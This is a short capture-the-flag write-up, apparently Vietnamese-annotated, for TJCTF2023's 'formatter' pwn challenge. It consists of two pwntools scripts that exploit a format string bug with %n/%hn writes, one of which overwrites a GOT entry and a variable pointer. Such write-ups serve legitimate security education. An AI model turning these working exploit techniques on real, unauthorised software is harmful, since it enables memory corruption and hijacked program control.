🔯formatter - TJCTF2023

Challenge

Solution

from pwn import *
elf = context.binary = ELF("./chall")
context.log_level = "DEBUG"
libc = elf.libc
r = elf.process()
r = remote("tjc.tf",31764)
# gdb.attach(r ,
# '''
#     b*main+137\n
#     b*r1+24\n
#     b*main+115\n
#     c
# ''')
##########
# useful #
##########
check = 0x86a693e #141191484
###########
# exploit #
###########
write = {0x403500: check-2 , elf.sym['xd']:0x403500}
payload = fmtstr_payload(6,write)
r.sendlineafter(b":", payload)
r.interactive()

Cách 2

from pwn import *
elf = context.binary = ELF("./chall")
# context.log_level = "DEBUG"
libc = elf.libc
r = elf.process()
r = remote("tjc.tf",31764)
# gdb.attach(r ,
# '''
#     b*main+137\n
#     b*r1+24\n
#     b*main+115\n
#     c
# ''')
##########
# useful #
##########
check = 0x86a693e #141191484
addr_contant_value = 0x403500
free_got = 0x4033c8
main = 0x401329
###########
# exploit #
###########
payload = b"%2154p%14$hn%24786p%13$hn%4172269p%16$n%8663p%15$n------" #offset 6 7 8 9 10 11 12
#Ghi đè giá trị check vào địa chỉ rỗng
payload += p64(addr_contant_value) #offset 13
payload += p64(addr_contant_value+2) #offset 14
#ghi địa chỉ rỗng chứa giá trị check vào giá trị xd.
payload += p64(elf.sym["xd"]) # offset 15
#ghi đè free_got để tránh chương trình xảy ra lỗi
payload += p64(free_got) # offset 16

r.sendlineafter(b":", payload)
r.interactive()
Stack trước khi gửi payload
Stack sau khi gửi payload

Done

Last updated